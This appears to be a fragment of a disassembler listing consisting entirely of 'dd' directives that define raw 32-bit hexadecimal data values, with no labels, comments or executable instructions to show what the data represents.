		dd 0F1627DF6h, 8B004E76h, 2BAC7F03h, 51CDF90h, 0AD5A1E55h
		dd 0EDF407C5h, 9394B0A5h, 8B03BF85h, 0A9E644F0h, 7DC9F88Ch
		dd 0A35CF2h, 0BF521C00h, 536DF84Fh, 7FCCEA01h, 68EF34BDh
		dd 3CEE030h, 0DDD76A01h, 0D03ECAC5h, 0E92B83EBh, 7F6B1h
		dd 623E93A2h, 516622F9h, 9A13F10Fh, 7742A0E6h, 2BDCBC0h
		dd 807615FFh, 0FC815B11h, 0E43C9678h, 0B3021B07h, 0AF6EE936h
		dd 26507EF0h, 8F160798h, 0BFF29009h, 8A00A1E7h,	0CEA43D5Fh
		dd 606325FBh, 0EDC14824h, 0A4B53E9h, 2DC48C3h, 693E669Eh
		dd 6840C983h, 0FC008BB8h, 0DF2D3B0Eh, 3A59735Fh, 50161EF2h
		dd 1801C10h, 7BC97DFFh,	465460F0h, 18FA11ECh, 6C65E70Eh
		dd 80BFBD27h, 0A580D681h, 0FADD8F6Eh, 58E50998h, 2987FF3Eh
		dd 80F4A0D5h, 3F54BB96h, 0CD76C288h, 0A0B90100h, 5E519F6Ch
		dd 727A1F15h, 91EC4765h, 0AE2FA0B0h, 0DF5C8AA5h, 8C804064h
		dd 0A603E4BEh, 0A0419008h, 2B6A210h, 0BE24AB56h, 0CA85A7C8h
		dd 0A200FE11h, 6346252h, 8D093D31h, 0CCC8EBB0h,	12D1C37h
		dd 94C04095h, 35B10070h, 3AF0A844h, 0F3038EE5h,	0A7FC3CFEh
		dd 0B39D9001h, 0F5A11F52h, 35B4038Ch, 0F8F0717Ah, 0C33B8EBDh
		dd 0D1678047h, 0F6AD59FCh, 5E2E07D6h, 0DF1CCE2Bh, 193258DDh
		dd 2700E4C4h, 415640CAh, 4C908924h, 991F92F4h, 6D3480ACh
		dd 58BEFAC3h, 161298EAh, 1C80E021h, 4321E27h, 6B149DD0h
		dd 0BAF01FBh, 641335h, 0E5A31771h, 581500CFh, 730123Bh
		dd 0CC007896h, 9A0BC30Dh, 3F630106h, 0A111E159h, 4994288Ch
		dd 45890060h, 0A350425Fh, 0FFB007Fh, 0F605A140h, 27E09383h
		dd 22038975h, 82AB9EA4h, 0DAEAE00Fh, 1BE5069Dh,	0E82067BAh
		dd 0C5007E7Dh, 79E60121h, 1DA9550Ch, 0C0963A32h, 0EB686E2Fh
		dd 2200DDE5h, 0B9575CCCh, 5C16AFB1h, 56353C6Dh,	0B43C8010h
		dd 0CD01EFF4h, 16F2EA50h, 828E5A2h, 0D552E600h,	261F8DD1h
		dd 0DB25600h, 0BED4CBEFh, 287227F3h, 0CA220C1h,	0C573A9h
		dd 9422DCC6h, 90A5D879h, 0F36FFC07h, 0C0CE55C9h, 88287AD3h
		dd 3F4B817h, 60E421AAh,	0D7E8E15Eh, 8279F4E0h, 0CC22064Eh
		dd 1450400Eh, 91BB00A9h, 0A047C1F6h, 840051E2h,	0BAA16054h
		dd 5EA44B7h, 0C2D8025Fh, 4934C045h, 0F60024FDh,	0B2AEB4F9h
		dd 633D57C1h, 2990B068h, 376A45E8h, 81DA2600h, 1A150D43h
		dd 2D0301A1h, 1DFCF514h, 0C5EF832h, 92F5895h, 86C843C7h
		dd 0DEA06480h, 0A3002C87h, 0F67133EEh, 0BC7660FAh, 50AE8F78h
		dd 0FB1ADD40h, 7C072EE6h, 0BB639D6h, 1035A661h,	0ED70C60h
		dd 7FB7CBCCh, 0C08B02DCh, 0E4E03C9Eh, 54002E34h, 38921B40h
		dd 13C45C03h, 2DE9B25h,	121E48FBh, 1A44CCE0h, 7DB0AC58h
		dd 4BC84A00h, 76526416h, 6D673DCBh, 56ABBC9Fh, 623E0091h
		dd 0C8B27E3Ch, 0AD8BB502h, 8166F002h, 87E638F8h, 0A0D0FB30h
		dd 0B51EC6h, 0CE83648Eh, 0E424A9EFh, 0F00FFF2h,	6CCFB090h
		dd 371F60h, 0E2E7B89Dh,	81F45D65h, 33BE831Fh, 0CB4016FFh
		dd 18D75000h, 1C3C142h,	6B87B97Eh, 0CCB411FEh, 0D2A05C54h
		dd 0A5025BE4h, 6582F03Ch, 8AF882B7h, 0F3DAE0D8h, 0FB090CAh
		dd 52149111h, 0B5B99520h, 0DC03F477h, 0FD023B23h, 3CC58888h
		dd 97F700ABh, 57617B59h, 0EA04D0EDh, 935F9E15h,	0BCA3F0D0h
		dd 7C6C0F75h, 0CD6F2CA8h, 0C8C03EC9h, 0C773C4CEh, 0AB04A6F6h
		dd 0C0D6CC51h, 1DE20A0h, 5E2A5224h, 30596FDFh, 2F04497Ah
		dd 65A31C62h, 0E7FF090h, 0FF80074h, 181191F1h, 500B5C1h
		dd 36C64267h, 90692368h, 0A3A713CCh, 8C3C002Ah,	4F660CF3h
		dd 293434E1h, 911C1E00h, 0FBF5310h, 0E6CEE14h, 704BCF8Dh
		dd 0F82CD664h, 26D0180Eh, 4832ECA1h, 0CC0674CBh, 68EBE542h
		dd 939A6100h, 0AF554679h, 0E3A10017h, 0F54D2419h, 3900C202h
		dd 0CE5DACFh, 5EB3262Ch
		dd 79B4C298h, 0E07A98D0h, 1CA0454Ch, 27A14F3h, 1B51BC5h
		dd 16A46049h, 23F40008h, 0FD973A5Bh, 9058637Ch,	0D6880BD8h
		dd 0AE740078h, 1233F10Ch, 0C0DDBB76h, 8DBFFF74h, 1A42EC09h
		dd 400955h, 40B30AF2h, 0A8B10054h, 0E939D06Bh, 0E41981BBh
		dd 0F498291Dh, 9E191828h, 0C8EBF9DDh, 0C0A886C1h, 6C2A6D29h
		dd 4403A4F6h, 48231C7Ah, 0E832936Eh, 0E2D9F762h, 0EDC5E036h
		dd 72D93821h, 0CCBA2611h, 0ACEA89EBh, 0BB48829Fh, 0DCE960E5h
		dd 440F00E4h, 937599C4h, 5B1D1290h, 0F3DD0405h,	3495AE00h
		dd 7507DB09h, 0DA1A02EEh, 47AD9E33h, 97C1F040h,	52534600h
		dd 7B567C14h, 74E7CB3h,	59DCD88Dh, 0E063273Dh, 0C37204FAh
		dd 0F1A84C00h, 57C7942Bh, 0B96002Dh, 6E10826Ah,	0C2001DFAh
		dd 0DE282152h, 0F5169719h, 902F36D8h, 253230F6h, 570CFED1h
		dd 3607B00h, 0FCB0A80h,	103C38AFh, 0B077AC00h, 0D8BF63B1h
		dd 920CFD74h, 0A0FC86AEh, 0A052054Ch, 0B21E67Fh, 0A4F00B90h
		dd 1ABE301h, 76110E18h,	0A34E4h, 70C8DB7Ch, 0FDAC1CDFh
		dd 81B580BDh, 1CBDE528h, 80089CD7h, 0ECE87CB7h,	850091DEh
		dd 6A86E199h, 179953Bh,	0F7879D94h, 0ECBB0542h,	851C77E2h
		dd 0E80041FCh, 1279145Eh, 9D9B189Fh, 0B0A3A0E3h, 7328F302h
		dd 4A37298Bh, 21BD4000h, 43D01688h, 0A37082ECh,	233A3560h
		dd 257F2A16h, 1446A080h, 0C55200F8h, 0CBBC3449h, 0D81618C1h
		dd 0D901BB15h, 41CA9426h, 0F21B4D70h, 0B4E0E7D2h, 6C7B004Dh
		dd 0C696AF5Ch, 7207E658h, 0D536FD8Bh, 1AC37C05h, 8116F03Bh
		dd 0D0059D68h, 0C38CC0CDh, 0CF301F1Eh, 6C28114Dh, 0D33400D1h
		dd 42BF6A33h, 650032AEh, 0E6F2DB12h, 30914962h,	0E4312982h
		dd 0F5019538h, 6C65137Ah, 6F6E89h, 0BCF860A8h, 1C0077AEh
		dd 0A25A8B3h, 5441939Dh, 0A68C0Dh, 0C99CD986h, 8857E50Fh
		dd 9094082Ah, 27B64B00h, 81D54374h, 3C8B816h, 416F50B9h
		dd 78A8298Eh, 4A9805F4h, 23E46300h, 66BBD9A3h, 0CE90CC3h
		dd 3AA0268Fh, 4D12A600h, 0B28C4EB4h, 785009Ch, 0BB1B60F6h
		dd 3A00CE2Eh, 54A35739h, 67AE094Ah, 908538A6h, 9A1AB4D4h
		dd 4CC2BB4Fh, 0EEA4C166h, 0E8707470h, 0D3CD2CE5h, 0C0931E0Ch
		dd 7C06D72Ah, 0CA0155BEh, 72BD1ECh, 88C8F902h, 2217017Bh
		dd 0BB92874Ah, 1CB5E470h, 773E4C00h, 0E4509126h, 0ED950049h
		dd 0CE1A6860h, 0D500C5BEh, 6D6125B0h, 78F87CCAh, 0DC4600DFh
		dd 5847A5AEh, 75001959h, 0F530A056h, 0AD1CF9h, 8EAC6A82h
		dd 27708031h, 3A00E2F6h, 9D2D13AAh, 742FA84h, 85B782B3h
		dd 8099050Fh, 0DE5EE540h, 8024693Dh, 29172077h,	28E77868h
		dd 5E89907h, 0FFC1F828h, 0A630C074h, 752A7E2Ah,	1A01D86Fh
		dd 8682A78Eh, 84E1400Bh, 0EE75C0ECh, 7F287180h,	1287F415h
		dd 40AEA8F5h, 0AF695000h, 800012FEh, 0D89E6F9h,	77D1D4Ch
		dd 9A64C38Fh, 946A80C0h, 0B200D1D2h, 1EEF453Dh,	7F66D37h
		dd 3B0862D6h, 16914046h, 0B100BB1Ah, 448F21ADh,	79FFC46Dh
		dd 0BF230670h, 2006302Fh, 51430700h, 56748B4Ch,	0F4C5097Dh
		dd 304054EAh, 0CC1839DFh, 22606645h, 2A820971h,	7185F543h
		dd 0DE18C09Eh, 271DA457h, 0D98095FFh, 8E4E3905h, 8643007Dh
		dd 5D6C4D01h, 7C00AC48h, 0D0E6570Fh, 2F6FEF0h, 3931DF88h
		dd 40C028F7h, 690A4F5Eh, 883F55FCh, 0CCA3F202h,	83A8823Bh
		dd 7A34C0DFh, 0AF3D00C6h, 28111C48h, 8F7433B6h,	0D4A0F94Bh
		dd 39C0947h, 88A0ACE4h,	8737BB83h, 66B53200h, 0CAEBA697h
		dd 6AE500C0h, 4878DAC9h, 9A393462h, 0ED138219h,	0E05F67CEh
		dd 0B001CAE4h, 764717Ch, 516C4314h, 23575088h, 710031E7h
		dd 0A58373DBh, 0FBE4880h, 0EEF02568h, 8EB40220h, 0A70078B3h
		dd 0B97B5443h, 0C1AB2708h, 0BBC35820h, 0D0403E53h, 65C1B2CFh
		dd 0AAC0070Ah, 0B06A4552h, 3E16D037h, 4807C501h, 53308DBh
		dd 0F4F8407Fh, 0ED4CADABh, 6647EE00h, 5C83F07Ch, 1EEAB5h
		dd 0FB25D58Dh, 0B1F578B8h, 0BDC70100h, 0C1E66FC6h, 95160F17h
		dd 30A1AD80h, 0D0F8CFA4h, 8D00AAAFh, 53568909h,	27E23Bh
		dd 3ED62293h, 0B46B854Eh, 0AFE12F00h, 0FDC39AB7h, 13BA7421h
		dd 96CE7C3Bh, 50004154h, 0BBAB9F2Dh, 3495E10h, 22265A5Bh
		dd 0F1800B23h, 20F979Eh, 7768956Bh, 13A5B000h, 1FB30DDAh
		dd 8015F04Fh, 0B8B0D105h, 6724F24Ch, 1E311C55h,	5C3D8EFBh
		dd 96D1AB01h, 0CAC6888Dh, 9003A0F4h, 0F86A671Fh, 0C3976Ch
		dd 933AA95Eh, 46E90E2Bh, 59A5F400h, 0A20CEE54h,	0FAB80084h
		dd 21F9C24Bh, 2700F889h, 0B71B2223h, 676958BBh,	40FC70A9h
		dd 39B3CA5Ah, 6235C609h, 0D98C8206h, 8B18E14Dh,	18603821h
		dd 8CF5000Ah, 0D0C12093h, 0E0BE866h, 40471957h,	0E43E959Ch
		dd 0AD1600AFh, 44D5A88Ah, 0E0098CD7h, 0A0A17B3Bh, 0CF871E20h
		dd 16CA0085h, 8FD8D061h, 209059D6h, 209001A1h, 81B5FB55h
		dd 0A24730C4h, 7681A440h, 4C170012h, 0C4100ABCh, 0CE020343h
		dd 0EDE8CF06h, 0BB90E3F6h, 0E0C5D252h, 0B86B9135h, 0D9A60052h
		dd 0F3F68BAEh, 4026EFAh, 7A3B9EA9h, 0EF504093h,	1B4301E5h
		dd 0DE6B1E16h, 3932E868h, 9B38F05h, 538088F4h, 95C5F899h
		dd 919A2000h, 0F116D305h, 0C0024C9h, 8CAB1F8Fh,	0D7463CA9h
		dd 0DDE23A81h, 0C8D567E4h, 68000845h, 869DB4FAh, 0DC5417h
		dd 6ADF92E7h, 111D2075h, 625A3Bh, 7649C8DDh, 3F1865BDh
		dd 257336EAh, 28D0FD59h, 302ABF90h, 0B9009814h,	0E67B2A8Bh
		dd 36CCFB1h, 3A3D4487h,	72F8E596h, 5A4A0784h, 0F49C92h
		dd 190E921Eh, 810F363Eh, 45F6983Ah, 218153C1h, 0B23F72FEh
		dd 0B31181E8h, 9B10E34Bh, 30D26611h, 0E2005632h, 0BB5D0B4Ah
		dd 0FE60A4h, 61D1C3F9h,	1E678A91h, 97249971h, 0A5012076h
		dd 0E1ADBC7Dh, 2E1FFCh,	6B55C11Bh, 482F8EAh, 0BA2BD207h
		dd 0D360C884h, 4C90C979h, 6404AC25h, 90DD0CA0h,	0FC39273Ch
		dd 51E4AB25h, 9C00BBA0h, 4EFD95Eh, 9E3916F9h, 0E2320939h
		dd 18F270h, 3E75D118h, 4ABB466Ah, 3CC17B00h, 41A52E4Ch
		dd 5AD70565h, 18AAB16h,	11801988h, 87DC6815h, 800B4EEEh
		dd 0F883D06Ch, 2E4309FAh, 16009A19h, 945DE9D1h,	0F487D35Ah
		dd 984849E8h, 0A100CD14h, 7C073AFBh, 0EA38FDFCh, 0DEF9003Bh
		dd 178FAA04h, 0C002589h, 0B3394EFAh, 246A35h, 0C259E8A9h
		dd 8304027Ch, 0EE9F58C0h, 338450Ah, 0A190B5B6h,	40B0BECCh
		dd 0B9070FF5h, 33AA51F9h, 657F4560h, 0C0584F4Ah, 29EBBBCh
		dd 0C637711Ch, 18CA8285h, 7714BC00h, 36E34EDh, 0B1B2EC76h
		dd 0DBA8810Dh, 890044CDh, 60D9534Fh, 50C39A5h, 6429A827h
		dd 5A900988h, 4E118858h, 4C05B9B1h, 0C5C30430h,	0C78A802Dh
		dd 0B4003E99h, 532BBDC2h, 360F339h, 793384A0h, 4AD1F54Dh
		dd 6D08C89Eh, 234C3D25h, 4751E28h, 4FBD068Eh, 8E4A854h
		dd 2DEEEF3h, 0B7E5863Fh, 0A02784C8h, 8213AE00h,	17FF430h
		dd 31261980h, 7F4B300Dh, 972A3002h, 0E2000B9Bh,	67BB7090h
		dd 29E40203h, 1CC08Fh, 0DBC82F20h, 0E155A5DAh, 8A09F816h
		dd 0D56600AFh, 0EE8317BDh, 6A18503h, 0E068B1A5h, 5A0C95h
		dd 0A2113672h, 236C8204h, 0F7D5C601h, 0CA76595Eh, 7BF47DCh
		dd 65EE6305h, 0EC00C971h, 0F10766B8h, 60507C00h, 6359F51h
		dd 4E0303E6h, 64AD1F6Eh, 10957DC8h, 0E0983150h,	14B59F00h
		dd 0E5606738h, 0B77403DDh
		dd 0EEB33E02h, 41BCC0F1h, 0DA9857E4h, 0D47D68E0h, 2C6FFC00h
		dd 43CA194Dh, 9D7F120Dh, 38EC00DCh, 0B4ABEABCh,	6B10D360h
		dd 355E0D7h, 426D542Fh,	96008C60h, 0C341CB9Dh, 0ECE14B95h
		dd 5F4777ADh, 0F0740042h, 0B34687ACh, 5F52E00h,	0DD34B4E3h
		dd 5C1E008Ch, 0D29D7C4Ch, 9F0EA765h, 471099h, 96386376h
		dd 2B4736Eh, 0CE261728h, 0C2402108h, 5100CB22h,	6935A3C0h
		dd 0A5C2D9h, 32047F1h, 364FD529h, 0ED902CB0h, 0D101D376h
		dd 0B52DA69Ah, 0CB7107C8h, 0CEFE4h, 0C70EAA62h,	6C65B9F0h
		dd 8C023272h, 5FB143FDh, 361460DDh, 87BD5C17h, 1B87826h
		dd 0AAB88B02h, 0F07420EDh, 7A00207Fh, 49A60CF3h, 9C0A2A2Eh
		dd 0BBD300E0h, 946E2147h, 32631807h, 80FF5090h,	7A25853Ah
		dd 73650015h, 2670067Ch, 3E1D174Ah, 0E1DCC930h,	48C38F40h
		dd 76C63166h, 0A1190081h, 3B50A8AFh, 820310BAh,	8D40EEDBh
		dd 2DA9E0D6h, 802CB6E1h, 1C59E7EFh, 0D33D0E15h,	40098329h
		dd 0A8752D9Ch, 691A5Fh,	0B8F1078h, 567482ECh, 0A25BB313h
		dd 104F200Ch, 0E1AF005h, 1F9DD030h, 221914ACh, 30772E0h
		dd 64BF4A31h, 0D6EC02FBh, 0B95CE893h, 0B0C10074h, 777D05F4h
		dd 0C0253286h, 0C568806Dh, 73C9F85Ah, 31560014h, 480A4049h
		dd 6C5AF22Dh, 89F4FC00h, 3996372h, 1680CCC8h, 2ED2CA26h
		dd 2A0518E9h, 0B8E05084h, 0FE84067Eh, 216EC67Ch, 0AAC84528h
		dd 6344A002h, 56C99828h, 0C0100080h, 41856214h,	0FCB4AD00h
		dd 6D0D90FEh, 0E4510043h, 9E0FB1CDh, 0F80060B5h, 0DE310C32h
		dd 5C975D4Dh, 860463D2h, 87DCD5CDh, 0AF0BBEC1h,	98019CF0h
		dd 67532434h, 9880B149h, 3FE69F0Fh, 0F0A09774h,	37005E08h
		dd 25F10BD7h, 0D487C6h,	519E504Fh, 0C99A4B2Bh, 0E56DDD0Fh
		dd 0D97E218h, 4603E021h, 0B27100FBh, 14CB9630h,	0EC01A13Bh
		dd 975BEF67h, 388047D0h, 6B933CB3h, 0CC3C4B25h,	0FE0FAC95h
		dd 0AF61D000h, 133E677h, 787671ABh, 83B5EB42h, 7D8D4450h
		dd 0D2F0E7B3h, 92500Fh,	4EDEB02Dh, 0E8E6677h, 0ED13110Ch
		dd 0AF6994h, 0F6335BA4h, 848B8087h, 0D5781000h,	1DC59892h
		dd 0A03E00AFh, 0B5724FDFh, 0A8F63323h, 3BA30B00h, 530A6E16h
		dd 680400C9h, 80152AC2h, 5B1E9790h, 0E5407118h,	0A5DE01F3h
		dd 84CF0072h, 2AC338F4h, 67009648h, 1CEE35DAh, 0C427908h
		dd 6E516976h, 8700BB39h, 58C186F3h, 1C7BBDh, 12D57E23h
		dd 0CB2E575Ch, 26663D00h, 0A2F9DD6Ah, 432B012Dh, 0E6928E3Bh
		dd 0EA1FC0C5h, 31AE4200h, 52659C96h, 115D60F7h,	2D4638B7h
		dd 1F80A1E0h, 609E0045h, 5E776CC4h, 9A00E45Dh, 7BF40134h
		dd 1D8A8BDh, 0E59B6A3h,	3045C3DBh, 7AEC3C18h, 8865F409h
		dd 5925015Eh, 9C403219h, 0A0567E6Bh, 0D8BD98h, 0D6389B76h
		dd 0D2803130h, 6C4A8200h, 0B7DE3F55h, 0A8660ECCh, 8E039949h
		dd 79CB3D9Eh, 12458A88h, 4A42EE00h, 0A2DFE9F2h,	2D6D0032h
		dd 7DA30248h, 0B70ED768h, 0F2AE34h, 3831E0C7h, 8EF70012h
		dd 0EF43F44Ch, 32CDFF8h, 402A06Bh, 408AD429h, 1AE8D1Ah
		dd 58D0D96Ch, 0FB14C756h, 53BF27E8h, 0EC552D00h, 0E36FE5C3h
		dd 472B1C2Fh, 80A8A1h, 2E8B1C8Dh, 9E555C0h, 0E0A07371h
		dd 8C02CE2Dh, 83D530F9h, 0DDD88047h, 0E54E5Ah, 275BC3D0h
		dd 2ADB76A4h, 57998600h, 8DC996CDh, 0EF40C447h,	6A548024h
		dd 0D1001151h, 31F5DAB7h, 664148Dh, 90D03D8Fh, 0F25C58A4h
		dd 0B246009Fh, 0FEC359F9h, 0E1821FA2h, 0D108067h, 439A6409h
		dd 0F67DE400h, 2B6F98E9h, 954E0083h, 0CDDB12Eh,	0CD004B34h
		dd 39AE6C50h, 0C00E20EAh, 0F46D7A88h, 7C186674h, 0EEB4AF33h
		dd 378EC35h, 0A7A2AB86h, 880001ADh, 8ED34807h, 41F4C1h
		dd 274A7B02h, 3F958CFFh, 0AA00E998h, 0B3671974h, 3EC7AB44h
		dd 0B687FE0Bh, 1097D1EFh, 408F0D64h, 4600F090h,	4BEBAC05h
		dd 38D3AB6Dh, 0B6809AD2h, 0F41B840Ah, 0D800C3EDh, 0EA326BF3h
		dd 32115B3h, 0ABFE6C30h, 0B801F42Fh, 2044BAA2h,	0F020B556h
		dd 0E5A00E8h, 0F7758471h, 0D17725E5h, 61CE5D0Fh, 0FFC0030h
		dd 48F65Fh, 803A3208h, 82926E2Bh, 0DCA42826h, 0BE352207h
		dd 0AF6D4E00h, 0CC7701F7h, 302C7D3Dh, 0D5712085h, 1400CA90h
		dd 48FB8A0Dh, 71788A4h,	6775B977h, 0CF9950AAh, 0BC585C14h
		dd 10C1CB1h, 3EB29207h,	0F2905DE0h, 811D000Ah, 54C50687h
		dd 0E8009F46h, 16C4AADDh, 8E38F7h, 0C29DA201h, 713ACD18h
		dd 0EAB34B00h, 60F2293h, 23BC000Bh, 0A15415Fh, 7800A637h
		dd 0C8575165h, 33D3E6Ah, 0D6DDC0FCh, 2002EC7h, 7ED04925h
		dd 3B72178h, 0D584819Ch, 0C0D42922h, 0E0FE792Ch, 89736801h
		dd 1F12542Ah, 1631020h,	852303BBh, 40D65BC2h, 0DA4093B0h
		dd 0C6FC3C00h, 0CE4E7E2Ah, 9DFC4Fh, 0A6D3679Ah,	0F8DD58F3h
		dd 8A00B8E6h, 0E6A80B46h, 0D77F60h, 836968ABh, 80A33ED8h
		dd 15669213h, 232E8440h, 1B86DECh, 77BCE350h, 0E8EDCC27h
		dd 1F0054B3h, 0ACFF6C33h, 0F4242Ch, 66A04C17h, 0FEDB801Dh
		dd 0EBE29500h, 6AFB191Bh, 542912DEh, 340C02A3h,	86209A7h
		dd 0B5300DFh, 123F3F9h,	0BC1A6739h, 0CC583C26h,	76985C74h
		dd 0A1A7FCA0h, 7042A026h, 0D7A37200h, 4C89E479h, 0F00C30Bh
		dd 2DA50A2h, 14B0256Fh,	0BE7B5900h, 0CE57911h, 266C000Fh
		dd 6A2498ECh, 0BB0085F0h, 0E750723Bh, 904FD192h, 0CB20056h
		dd 0B3253CA2h, 11794591h, 0F756F000h, 0DA6ED8F6h, 306B02DFh
		dd 61AFEDC4h, 25668060h, 95CF4D00h, 0EC2D9F13h,	71E30294h
		dd 241AB6BBh, 49B3E07Fh, 0EBE50A6Ah, 1E42573h, 4CF55BE7h
		dd 67B440D2h, 331347FBh, 3C31887Ch, 1260A0EEh, 26C1FAE4h
		dd 1C4C2070h, 73A7800Bh, 0B6586596h, 0D9467703h, 804F82AFh
		dd 48BC1E1h, 84D431F8h,	0D60880E2h, 4A00E4A5h, 71AFE920h
		dd 3983BA75h, 6280D036h, 1601C740h, 33011E73h, 8C7811D1h
		dd 2830611Bh, 5AB50009h, 3DC2AC07h, 2A00F685h, 0C755CC57h
		dd 0FDFBCh, 76471D7Eh, 30061911h, 0BB4A8000h, 496F729Eh
		dd 2D5E0F3Eh, 7F000C56h, 64A6657Ah, 6209D601h, 7938A218h
		dd 35ED70h, 6B531AAFh, 0A0B76A75h, 0BED60D2Ch, 65AA1E00h
		dd 0C0E59D03h, 87CF5470h, 74009EB3h, 61FF478Fh,	3A28F772h
		dd 0FC804284h, 9AF4A9B2h, 35EC13D6h, 8632A100h,	16E53BC7h
		dd 0E8580019h, 2667BBF9h, 1095206h, 0F41ABA0h, 0A2FCE14Eh
		dd 34706D0Bh, 864000A4h, 0E8FE2E3Dh, 6726C5C8h,	61074CF0h
		dd 508090C2h, 727FB5EAh, 213C136Ah, 0CC15006Fh,	728A6E39h
		dd 8639EB70h, 80C40087h, 5EA46755h, 0D802032Eh,	637D40C7h
		dd 54D120EFh, 0B4A0A123h, 0CC0C46CFh, 94A43022h, 0D04301D2h
		dd 0AE59262Ch, 0DB12E4C0h, 4C93C200h, 20BA1684h, 18EF8F0h
		dd 0ADE38F43h, 516DEE22h, 77B8BCh, 174A50EBh, 0E354D2h
		dd 0D00A334Ah, 0F1074F9Eh, 7DB63DB5h, 6D913E20h, 0E8403EB0h
		dd 682D8B81h, 0F45627C0h, 0D000E731h, 0C4386DDh, 0E387FF0h
		dd 2AF519BAh, 0EE2DB340h, 2CBA0137h, 0E882D80Fh, 0C78E808Dh
		dd 0BA81AB56h, 0A4DB00A4h, 94F75E3h, 9F00D407h,	5480A9E4h
		dd 0C17FBE34h, 0FCB43641h, 0E3D1D043h, 3A00489Ah, 0BA627008h
		dd 7458A3h, 7B80F160h, 396C0E41h, 0EBFB5C00h, 0DC64826Fh
		dd 0CA8B0076h, 1001BE9Bh, 930015B6h, 0D877B46Dh, 0BFB9C3h
		dd 8FF75AFh, 278B2559h
		dd 0BBC76800h, 213E628h, 3C3E0020h, 5290EC04h, 0A100EDCDh
		dd 14190BBFh, 97B9630h,	36B8F8E9h, 534087h, 0F040B2A3h
		dd 0D46B9D01h, 63B71D6Fh, 0B0040DC4h, 48CC00DEh, 4CC1477Fh
		dd 0EE039AA3h, 0DE155CCAh, 0D590C851h, 0E6AF1F3Bh, 80190B2Ah
		dd 0E276AD00h, 0D1007814h, 6D707A7Dh, 3CA3D8A9h, 1E07F348h
		dd 30F8B303h, 19D688EAh, 8CD72800h, 7948B77Ch, 1C5002Bh
		dd 8B4B616Ah, 58007BB3h, 0E1060A8Ah, 5DB1A2DCh,	1E08A443h
		dd 79067A7Eh, 79115F2Ah, 0E2B400BAh, 0D452A291h, 5A0139B7h
		dd 0A11B2F94h, 0A2D761F6h, 0E7C9C0ABh, 0C6F70359h, 0BF9B43DBh
		dd 803EA480h, 61BC2E00h, 0B8FF6FCFh, 69781Fh, 8C8AA43h
		dd 91D6291Ah, 0F69E1902h, 0C0B9D275h, 31512D1h,	569D95E1h
		dd 0AC0F325h, 7A00E34Ch, 401E6187h, 9ABD5DCh, 0DAA3C397h
		dd 0E3211C00h, 0D103ADD3h, 0B2102365h, 0B1CAC8F4h, 86740079h
		dd 56CF3CF2h, 2F2EDE4Ch, 3B010CE2h, 13522448h, 2EF45080h
		dd 2726FDC1h, 6EF3C600h, 8B831CE8h, 0C0E650D8h,	14400046h
		dd 49A18CC2h, 0FE586B82h, 76513D80h, 6D1E2E00h,	0E7DA9106h
		dd 27BB1D88h, 0F0EEFCh,	39B99C02h, 2A003286h, 84417531h
		dd 3C70D7C8h, 2F801CA8h, 898653F8h, 0E71254DCh,	0FB008AA4h
		dd 0EB3FFA1Bh, 0A09703DAh, 0B43B0E27h, 4828F3D8h, 0C6CBC000h
		dd 1C18A95h, 0FF7005Dh,	0A3C88EAEh, 0CDE411D2h,	82D77400h
		dd 0AC811EEAh, 19CF6067h, 0A9C672E0h, 0DE2BC400h, 4DFF14F5h
		dd 4F6C0016h, 0E91BB7C7h, 0C4059B38h, 0EA922842h, 5F02F100h
		dd 6D7FB4h, 9DF3EE61h, 34D340B3h, 41834600h, 5CE0A7A4h
		dd 0B66F00C4h, 0F2D19C2Ch, 7D01E9F5h, 4F2281C5h, 8C40BDBAh
		dd 97C5EB0h, 0B41D8ED2h, 7880610Fh, 0C86E2E77h,	9BFE0B00h
		dd 49EFA638h, 1E0D005Bh, 215C88BDh, 9E00266Bh, 39C60C97h
		dd 0EFD22Eh, 9B3566E6h,	7848D504h, 3A09881Ch, 793F0880h
		dd 79CDF43Ch, 0C44C7756h, 0E1F66138h, 0C9003F48h, 486FA4AFh
		dd 0D73C00E7h, 6E81E89Bh, 0A50025A6h, 7799269Ah, 5BEB42h
		dd 8D449E62h, 1795D0D1h, 0ED865407h, 0FB007B99h, 5E051C3h
		dd 3CF4BB43h, 0EC1C00ADh, 7241B647h, 9600197Ah,	2F85D19Ah
		dd 0C8CE5h, 0C7EFB4CEh,	69792D83h, 0A1D6650Ch, 0C0849C8Ah
		dd 0DB31FD31h, 7898022Ah, 0BC6F5D00h, 0CE6B522h, 0F7E20197h
		dd 339FE50Ah, 0ED36ECAFh, 70FE7400h, 0AB693168h, 72C801E7h
		dd 0CF3489BCh, 0B0402086h, 0BB707500h, 0F6D83B56h, 78D0094h
		dd 78A2369Ah, 62007A17h, 23B11614h, 32B6001h, 86CDA134h
		dd 6824322Ch, 8000DC41h, 0DBFE5122h, 336000F6h,	0C502F0DFh
		dd 320437DEh, 0F31A14B3h, 5412C2C1h, 222F3880h,	5D9966DBh
		dd 929CC50Fh, 0E7BAAEB6h, 640D8A5h, 140F1309h, 0E87AB20Dh
		dd 61837101h, 0E9FEBE03h, 0DC5DE8E3h, 1C28DB00h, 48222735h
		dd 3D9A0013h, 0C692DFA3h, 9101D4B5h, 0E0EE52B2h, 15FC3471h
		dd 66AD0180h, 4BC1B8CCh, 0A0D9F0E7h, 2C1DC503h,	0C89662B0h
		dd 4FF71877h, 0CA7405EFh, 2AE0938Ch, 0B936BE88h, 457B7C00h
		dd 4DC656CCh, 18EF4F6h,	55D79CA1h, 0D8EE4E66h, 0FD07BB98h
		dd 1D573BEAh, 67E64140h, 85D70129h, 2E261C52h, 88A8E345h
		dd 0E40095C9h, 0CB49DBA0h, 6DD7E6h, 0A2501162h,	86B0A4F0h
		dd 8CD30300h, 0D75ADD2h, 3C1CB8C5h, 84A47F95h, 3DC4008h
		dd 903B765Ah, 801080CAh, 3CF539CEh, 173EB8C7h, 1993FAFh
		dd 0FF24E14Eh, 0E3D4305Ah, 3AD30806h, 9011A60Dh, 12310025h
		dd 0D58A244Ah, 3400B10Ah, 0CE41CA95h, 0C0D27DA4h, 5E503380h
		dd 812CB820h, 790CB008h, 3C4E18CDh, 29184010h, 3F3011E8h
		dd 0FB2DC301h, 0CF7B4755h, 0F2A37FCh, 0BA633970h, 7EF88B09h
		dd 710E2377h, 803F9E08h, 42CA7C28h, 7492B8CEh, 7A63ECDh
		dd 5902FA3Ch, 33206A4Fh, 79A48882h, 184C4C80h, 0C461D440h
		dd 6846D708h, 0F60C1441h, 232CE4h, 7D3541DFh, 0FBFAC6BCh
		dd 0D56B9100h, 0D721B03Ch, 1EA0FDBh, 12202B57h,	0C5D90455h
		dd 0CF689000h, 0A925976Ah, 6CC00053h, 899EA830h, 703AAF48h
